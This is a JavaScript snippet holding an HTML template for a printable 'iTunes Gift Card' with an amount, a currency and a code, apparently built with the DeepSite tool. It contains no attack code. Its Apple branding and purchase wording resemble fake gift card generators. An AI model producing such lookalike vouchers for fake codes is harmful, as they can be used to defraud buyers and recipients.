|
|
|
const pdfContent = ` |
|
|
<html> |
|
|
<head> |
|
|
<title>iTunes Gift Card - ${selectedAmount} ${selectedCurrency}</title> |
|
|
<style> |
|
|
body { font-family: Arial, sans-serif; text-align: center; padding: 20px; } |
|
|
.card { border: 2px dashed #ccc; padding: 20px; margin: 20px auto; max-width: 400px; } |
|
|
.code { font-size: 24px; letter-spacing: 2px; font-weight: bold; margin: 20px 0; } |
|
|
.logo { font-size: 30px; color: #000; margin-bottom: 20px; } |
|
|
</style> |
|
|
</head> |
|
|
<body> |
|
|
<div class="logo">iTunes</div> |
|
|
<h1>Gift Card</h1> |
|
|
<p>Amount: ${selectedAmount} ${selectedCurrency}</p> |
|
|
|
|
|
<div class="card"> |
|
|
<p>Your iTunes Gift Card Code:</p> |
|
|
<div class="code">${giftCardCode}</div> |
|
|
<p>Redeem at apple.com/redeem</p> |
|
|
</div> |
|
|
|
|
|
<p>Thank you for your purchase!</p> |
|
|
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=Kingmaxjj/itunes" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body> |
|
|
</html> |